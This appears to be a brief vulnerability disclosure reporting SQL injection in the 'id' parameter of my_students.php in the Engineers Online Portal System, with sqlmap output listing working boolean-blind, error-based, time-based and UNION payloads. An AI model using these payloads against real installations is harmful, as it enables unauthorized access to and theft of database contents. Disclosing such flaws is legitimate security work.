Engineers Online Portal System my_students.php has Sqlinjection

Engineers Online Portal System my_students.php has Sqlinjection, The basic introduction of this vulnerability is that SQL injection means that the web application does not judge or filter the validity of user input data strictly. An attacker can add additional SQL statements to the end of the predefined query statements in the web application to achieve illegal operations without the administrator's knowledge, so as to cheat the database server to execute unauthorized arbitrary queries and further obtain the corresponding data information.

Sqlmap attack

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sqlmap identified the following injection point(s) with a total of 193 HTTP(s)
requests:
Parameter: id (GET)
   Type: boolean-based blind
   Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY
clause
    Payload: id=1' RLIKE (SELECT (CASE WHEN (4157=4157) THEN 1 ELSE 0x28 END))--
dFvi
   Type: error-based
   Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x716b766a71,(SELECT
(ELT(5131=5131,1))),0x716a767071),5131)-- nALT
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 6939 FROM (SELECT(SLEEP(5)))Viza)-- kiXP
   Type: UNION query
   Title: MySQL UNION query (NULL) - 14 columns
    Payload: id=1' UNION ALL SELECT
NULL, NULL, NULL, NULL, CONCAT (0x716b766a71, 0x595a6e5569686750554d565156774c507243
666668565169654266616462646a554c585545524e56,0x716a767071),NULL,NULL,NULL,NULL,NULL
, NULL, NULL, NULL#
```